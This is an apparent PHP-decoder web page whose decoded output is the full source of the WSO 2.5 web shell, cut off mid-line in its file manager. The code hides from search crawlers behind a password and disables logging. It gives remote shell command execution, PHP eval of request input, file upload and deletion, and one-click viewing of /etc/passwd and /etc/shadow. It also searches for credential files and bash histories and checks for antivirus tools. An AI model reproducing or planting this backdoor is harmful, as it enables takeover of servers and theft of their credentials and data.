Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $QEBE9697A831E71132389F63B08DA35C4="eNpEnNuSozoTpR9pEJiK7cvGIDA2ohA6gO4AOQojgSmbsj..

Decoded Output download

?><?php
$auth_pass = "bd1e13bdaab82581d4dc299eb9a3da0f";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';

if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');

if(get_magic_quotes_gpc()) {
	function WSOstripslashes($array) {
		return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
	}
	$_POST = WSOstripslashes($_POST);
    $_COOKIE = WSOstripslashes($_COOKIE);
}

function wsoLogin() {
	die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
}

function WSOsetcookie($k, $v) {
    $_COOKIE[$k] = $v;
    setcookie($k, $v);
}

if(!empty($auth_pass)) {
    if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
        WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);

    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
        wsoLogin();
}

if(strtolower(substr(PHP_OS,0,3)) == "win")
	$os = 'win';
else
	$os = 'nix';

$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
    error_reporting(0);

$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
	@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
	$home_cwd = str_replace("\", "/", $home_cwd);
	$cwd = str_replace("\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
	$cwd .= '/';

if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
    $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;

if($os == 'win')
	$aliases = array(
		"List Directory" => "dir",
    	"Find index.php in current dir" => "dir /s /w /b index.php",
    	"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
    	"Show active connections" => "netstat -an",
    	"Show running services" => "net start",
    	"User accounts" => "net user",
    	"Show computers" => "net view",
		"ARP Table" => "arp -a",
		"IP Configuration" => "ipconfig /all"
	);
else
	$aliases = array(
  		"List dir" => "ls -lha",
		"list file attributes on a Linux second extended file system" => "lsattr -va",
  		"show opened ports" => "netstat -an | grep -i listen",
        "process status" => "ps aux",
		"Find" => "",
  		"find all suid files" => "find / -type f -perm -04000 -ls",
  		"find suid files in current dir" => "find . -type f -perm -04000 -ls",
  		"find all sgid files" => "find / -type f -perm -02000 -ls",
  		"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  		"find config.inc.php files" => "find / -type f -name config.inc.php",
  		"find config* files" => "find / -type f -name \"config*\"",
  		"find config* files in current dir" => "find . -type f -name \"config*\"",
  		"find all writable folders and files" => "find / -perm -2 -ls",
  		"find all writable folders and files in current dir" => "find . -perm -2 -ls",
  		"find all service.pwd files" => "find / -type f -name service.pwd",
  		"find service.pwd files in current dir" => "find . -type f -name service.pwd",
  		"find all .htpasswd files" => "find / -type f -name .htpasswd",
  		"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  		"find all .bash_history files" => "find / -type f -name .bash_history",
  		"find .bash_history files in current dir" => "find . -type f -name .bash_history",
  		"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  		"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
		"Locate" => "",
  		"locate httpd.conf files" => "locate httpd.conf",
		"locate vhosts.conf files" => "locate vhosts.conf",
		"locate proftpd.conf files" => "locate proftpd.conf",
		"locate psybnc.conf files" => "locate psybnc.conf",
		"locate my.conf files" => "locate my.conf",
		"locate admin.php files" =>"locate admin.php",
		"locate cfg.php files" => "locate cfg.php",
		"locate conf.php files" => "locate conf.php",
		"locate config.dat files" => "locate config.dat",
		"locate config.php files" => "locate config.php",
		"locate config.inc files" => "locate config.inc",
		"locate config.inc.php" => "locate config.inc.php",
		"locate config.default.php files" => "locate config.default.php",
		"locate config* files " => "locate config",
		"locate .conf files"=>"locate '.conf'",
		"locate .pwd files" => "locate '.pwd'",
		"locate .sql files" => "locate '.sql'",
		"locate .htpasswd files" => "locate '.htpasswd'",
		"locate .bash_history files" => "locate '.bash_history'",
		"locate .mysql_history files" => "locate '.mysql_history'",
		"locate .fetchmailrc files" => "locate '.fetchmailrc'",
		"locate backup files" => "locate backup",
		"locate dump files" => "locate dump",
		"locate priv files" => "locate priv"
	);

function wsoHeader() {
	if(empty($_POST['charset']))
		$_POST['charset'] = $GLOBALS['default_charset'];
	global $color;
	echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</title>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: $color !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:300px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
</style>
<script>
    var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
    var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
    var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
    var p1_ = '" . ((strpos(@$_POST['p1'],"
")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
    var p2_ = '" . ((strpos(@$_POST['p2'],"
")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
    var p3_ = '" . ((strpos(@$_POST['p3'],"
")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
    var d = document;
	function set(a,c,p1,p2,p3,charset) {
		if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
		if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
		if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
		if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
		if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
		if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
	}
	function g(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		d.mf.submit();
	}
	function a(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		var params = 'ajax=true';
		for(i=0;i<d.mf.elements.length;i++)
			params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
		sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
	}
	function sr(url, params) {
		if (window.XMLHttpRequest)
			req = new XMLHttpRequest();
		else if (window.ActiveXObject)
			req = new ActiveXObject('Microsoft.XMLHTTP');
        if (req) {
            req.onreadystatechange = processReqChange;
            req.open('POST', url, true);
            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
            req.send(params);
        }
	}
	function processReqChange() {
		if( (req.readyState == 4) )
			if(req.status == 200) {
				var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
				var arr=reg.exec(req.responseText);
				eval(arr[2].substr(0, arr[1]));
			} else alert('Request error!');
	}
</script>
<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";
	$freeSpace = @diskfreespace($GLOBALS['cwd']);
	$totalSpace = @disk_total_space($GLOBALS['cwd']);
	$totalSpace = $totalSpace?$totalSpace:1;
	$release = @php_uname('r');
	$kernel = @php_uname('s');
	$explink = 'http://exploit-db.com/search/?action=search&filter_description=';
	if(strpos('Linux', $kernel) !== false)
		$explink .= urlencode('Linux Kernel ' . substr($release,0,6));
	else
		$explink .= urlencode($kernel . ' ' . substr($release,0,3));
	if(!function_exists('posix_getegid')) {
		$user = @get_current_user();
		$uid = @getmyuid();
		$gid = @getmygid();
		$group = "?";
	} else {
		$uid = @posix_getpwuid(posix_geteuid());
		$gid = @posix_getgrgid(posix_getegid());
		$user = $uid['name'];
		$uid = $uid['uid'];
		$group = $gid['name'];
		$gid = $gid['gid'];
	}

	$cwd_links = '';
	$path = explode("/", $GLOBALS['cwd']);
	$n=count($path);
	for($i=0; $i<$n-1; $i++) {
		$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
		for($j=0; $j<=$i; $j++)
			$cwd_links .= $path[$j].'/';
		$cwd_links .= "\")'>".$path[$i]."/</a>";
	}

	$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
	$opt_charsets = '';
	foreach($charsets as $item)
		$opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';

	$m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
	if(!empty($GLOBALS['auth_pass']))
		$m['Logout'] = 'Logout';
	$m['Self remove'] = 'SelfRemove';
	$menu = '';
	foreach($m as $k => $v)
		$menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';

	$drives = "";
	if($GLOBALS['os'] == 'win') {
		foreach(range('c','z') as $drive)
		if(is_dir($drive.':\'))
			$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
	}
	echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
       . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
       . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
       . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
       . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
}

function wsoFooter() {
	$is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
    echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid #333;border-bottom:2px solid #333;'>
	<tr>
		<td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
		<td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
	</tr><tr>
		<td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
		<td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
	</tr><tr>
		<td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
		<td><form method='post' ENCTYPE='multipart/form-data'>
		<input type=hidden name=a value='FilesMAn'>
		<input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
		<input type=hidden name=p1 value='uploadFile'>
		<input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
		<span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br  ></td>
	</tr></table></div></body></html>";
}

if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
    function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
    function posix_getgrgid($p) {return false;} }

function wsoEx($in) {
	$out = '';
	if (function_exists('exec')) {
		@exec($in,$out);
		$out = @join("
",$out);
	} elseif (function_exists('passthru')) {
		ob_start();
		@passthru($in);
		$out = ob_get_clean();
	} elseif (function_exists('system')) {
		ob_start();
		@system($in);
		$out = ob_get_clean();
	} elseif (function_exists('shell_exec')) {
		$out = shell_exec($in);
	} elseif (is_resource($f = @popen($in,"r"))) {
		$out = "";
		while(!@feof($f))
			$out .= fread($f,1024);
		pclose($f);
	}
	return $out;
}

function wsoViewSize($s) {
    if (is_int($s))
        $s = sprintf("%u", $s);
    
	if($s >= 1073741824)
		return sprintf('%1.2f', $s / 1073741824 ). ' GB';
	elseif($s >= 1048576)
		return sprintf('%1.2f', $s / 1048576 ) . ' MB';
	elseif($s >= 1024)
		return sprintf('%1.2f', $s / 1024 ) . ' KB';
	else
		return $s . ' B';
}

function wsoPerms($p) {
	if (($p & 0xC000) == 0xC000)$i = 's';
	elseif (($p & 0xA000) == 0xA000)$i = 'l';
	elseif (($p & 0x8000) == 0x8000)$i = '-';
	elseif (($p & 0x6000) == 0x6000)$i = 'b';
	elseif (($p & 0x4000) == 0x4000)$i = 'd';
	elseif (($p & 0x2000) == 0x2000)$i = 'c';
	elseif (($p & 0x1000) == 0x1000)$i = 'p';
	else $i = 'u';
	$i .= (($p & 0x0100) ? 'r' : '-');
	$i .= (($p & 0x0080) ? 'w' : '-');
	$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
	$i .= (($p & 0x0020) ? 'r' : '-');
	$i .= (($p & 0x0010) ? 'w' : '-');
	$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
	$i .= (($p & 0x0004) ? 'r' : '-');
	$i .= (($p & 0x0002) ? 'w' : '-');
	$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
	return $i;
}

function wsoPermsColor($f) {
	if (!@is_readable($f))
		return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
	elseif (!@is_writable($f))
		return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
	else
		return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
}

function wsoScandir($dir) {
    if(function_exists("scandir")) {
        return scandir($dir);
    } else {
        $dh  = opendir($dir);
        while (false !== ($filename = readdir($dh)))
            $files[] = $filename;
        return $files;
    }
}

function wsoWhich($p) {
	$path = wsoEx('which ' . $p);
	if(!empty($path))
		return $path;
	return false;
}

function actionSecInfo() {
	wsoHeader();
	echo '<h1>Server security information</h1><div class=content>';
	function wsoSecParam($n, $v) {
		$v = trim($v);
		if($v) {
			echo '<span>' . $n . ': </span>';
			if(strpos($v, "
") === false)
				echo $v . '<br>';
			else
				echo '<pre class=ml1>' . $v . '</pre>';
		}
	}

	wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
    if(function_exists('apache_get_modules'))
        wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
	wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
	wsoSecParam('Open base dir', @ini_get('open_basedir'));
	wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
	wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
	wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
	$temp=array();
	if(function_exists('mysql_get_client_info'))
		$temp[] = "MySql (".mysql_get_client_info().")";
	if(function_exists('mssql_connect'))
		$temp[] = "MSSQL";
	if(function_exists('pg_connect'))
		$temp[] = "PostgreSQL";
	if(function_exists('oci_connect'))
		$temp[] = "Oracle";
	wsoSecParam('Supported databases', implode(', ', $temp));
	echo '<br>';

	if($GLOBALS['os'] == 'nix') {
            wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
            wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
            wsoSecParam('OS version', @file_get_contents('/proc/version'));
            wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
            if(!$GLOBALS['safe_mode']) {
                $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
                $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
                $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
                echo '<br>';
                $temp=array();
                foreach ($userful as $item)
                    if(wsoWhich($item))
                        $temp[] = $item;
                wsoSecParam('Userful', implode(', ',$temp));
                $temp=array();
                foreach ($danger as $item)
                    if(wsoWhich($item))
                        $temp[] = $item;
                wsoSecParam('Danger', implode(', ',$temp));
                $temp=array();
                foreach ($downloaders as $item)
                    if(wsoWhich($item))
                        $temp[] = $item;
                wsoSecParam('Downloaders', implode(', ',$temp));
                echo '<br/>';
                wsoSecParam('HDD space', wsoEx('df -h'));
                wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
                echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
                if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
                    $temp = "";
                    for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
                        $uid = @posix_getpwuid($_POST['p2']);
                        if ($uid)
                            $temp .= join(':',$uid)."
";
                    }
                    echo '<br/>';
                    wsoSecParam('Users', $temp);
                }
            }
	} else {
		wsoSecParam('OS Version',wsoEx('ver'));
		wsoSecParam('Account Settings',wsoEx('net accounts'));
		wsoSecParam('User Accounts',wsoEx('net user'));
	}
	echo '</div>';
	wsoFooter();
}

function actionPhp() {
	if(isset($_POST['ajax'])) {
        WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
		ob_start();
		eval($_POST['p1']);
		$temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "

	\'") . "';
";
		echo strlen($temp), "
", $temp;
		exit;
	}
    if(empty($_POST['ajax']) && !empty($_POST['p1']))
        WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);

	wsoHeader();
	if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
		echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
		ob_start();
		phpinfo();
		$tmp = ob_get_clean();
        $tmp = preg_replace(array (
            '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
            '!td, th {(.*)}!msiU',
            '!<img[^>]+>!msiU',
        ), array (
            '',
            '.e, .v, .h, .h th {$1}',
            ''
        ), $tmp);
		echo str_replace('<h1','<h2', $tmp) .'</div><br>';
	}
    echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
	echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
	if(!empty($_POST['p1'])) {
		ob_start();
		eval($_POST['p1']);
		echo htmlspecialchars(ob_get_clean());
	}
	echo '</pre></div>';
	wsoFooter();
}

function actionFilesMan() {
    if (!empty ($_COOKIE['f']))
        $_COOKIE['f'] = @unserialize($_COOKIE['f']);
    
	if(!empty($_POST['p1'])) {
		switch($_POST['p1']) {
			case 'uploadFile':
				if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
					echo "Can't upload file!";
				break;
			case 'mkdir':
				if(!@mkdir($_POST['p2']))
					echo "Can't create new dir";
				break;
			case 'delete':
				function deleteDir($path) {
					$path = (substr($path,-1)=='/') ? $path:$path.'/';
					$dh  = opendir($path);
					while ( ($item = readdir($dh) ) !== false) {
						$item = $path.$item;
						if ( (basename($item) == "..") || (basename($item) == ".") )
							continue;
						$type = filetype($item);
						if ($type == "dir")
							deleteDir($item);
						else
							@unlink($item);
					}
					closedir($dh);
					@rmdir($path);
				}
				if(is_array(@$_POST['f']))
					foreach($_POST['f'] as $f) {
                        if($f == '..')
                            continue;
						$f = urldecode($f);
						if(is_dir($f))
							deleteDir($f);
						else
							@unlink($f);
					}
				break;
			case 'paste':
				if($_COOKIE['act'] == 'copy') {
					function copy_paste($c,$s,$d){
						if(is_dir($c.$s)){
							mkdir($d.$s);
							$h = @opendir($c.$s);
							while (($f = @readdir($h)) !== false)
								if (($f != ".") and ($f != ".."))
									copy_paste($c.$s.'/',$f, $d.$s.'/');
						} elseif(is_file($c.$s))
							@copy($c.$s, $d.$s);
					}
					foreach($_COOKIE['f'] as $f)
						copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
				} elseif($_COOKIE['act'] == 'move') {
					function move_paste($c,$s,$d){
						if(is_dir($c.$s)){
							mkdir($d.$s);
							$h = @opendir($c.$s);
							while (($f = @readdir($h)) !== false)
								if (($f != ".") and ($f != ".."))
									copy_paste($c.$s.'/',$f, $d.$s.'/');
						} elseif(@is_file($c.$s))
							@copy($c.$s, $d.$s);
					}
					foreach($_COOKIE['f'] as $f)
						@rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
				} elseif($_COOKIE['act'] == 'zip') {
					if(class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        if ($zip->open($_POST['p2'], 1)) {
                            chdir($_COOKIE['c']);
                            foreach($_COOKIE['f'] as $f) {
                                if($f == '..')
                                    continue;
                                if(@is_file($_COOKIE['c'].$f))
                                    $zip->addFile($_COOKIE['c'].$f, $f);
                                elseif(@is_dir($_COOKIE['c'].$f)) {
                                    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
                                    foreach ($iterator as $key=>$value) {
                                        $zip->addFile(realpath($key), $key);
                                    }
                                }
                            }
                            chdir($GLOBALS['cwd']);
                            $zip->close();
                        }
                    }
				} elseif($_COOKIE['act'] == 'unzip') {
					if(class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        foreach($_COOKIE['f'] as $f) {
                            if($zip->open($_COOKIE['c'].$f)) {
                                $zip->extractTo($GLOBALS['cwd']);
                                $zip->close();
                            }
                        }
                    }
				} elseif($_COOKIE['act'] == 'tar') {
                    chdir($_COOKIE['c']);
                    $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
                    wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
                    chdir($GLOBALS['cwd']);
				}
				unset($_COOKIE['f']);
                setcookie('f', '', time() - 3600);
				break;
			default:
                if(!empty($_POST['p1'])) {
					WSOsetcookie('act', $_POST['p1']);
					WSOsetcookie('f', serialize(@$_POST['f']));
					WSOsetcookie('c', @$_POST['c']);
				}
				break;
		}
	}
    wsoHeader();
	echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
	$dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
	if($dirContent === false) {	echo 'Can\'t open this folder!';wsoFooter(); return; }
	global $sort;
	$sort = array('name', 1);
	if(!empty($_POST['p1'])) {
		if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
			$sort = array($match[1], (int)$match[2]);
	}
echo "<script>
	function sa() {
		for(i=0;i<d.files.elements.length;i++)
			if(d.files.elements[i].type == 'checkbox')
				d.files.elements[i].checked = d.files.elements[0].checked;
	}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
	$dirs = $files = array();
	$n = count($dirContent);
	for($i=0;$i<$n;$i++) {
		$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
		$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
		$tmp = array('name' => $dirContent[$i],
					 'path' => $GLOBALS['cwd'].$dirContent[$i],
					 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
					 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
					 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
					 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
					 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
					);
		if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
			$files[] = array_merge($tmp, array('type' => 'file'));
		elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
			$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
		elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i]))
			$dirs[] = array_merge($tmp, array('type' => 'dir'));
	}
	$GLOBALS['sort'] = $sort;
	function wsoCmp($a, $b) {
		if($GLOBALS['sort'][0] != 'size')
			return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
		else
			return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
	}
	usort($files, "wsoCmp");
	usort($dirs, "wsoCmp");
	$files = array_merge($dirs, $files);
	$l = 0;
	foreach($files as $f) {
		echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
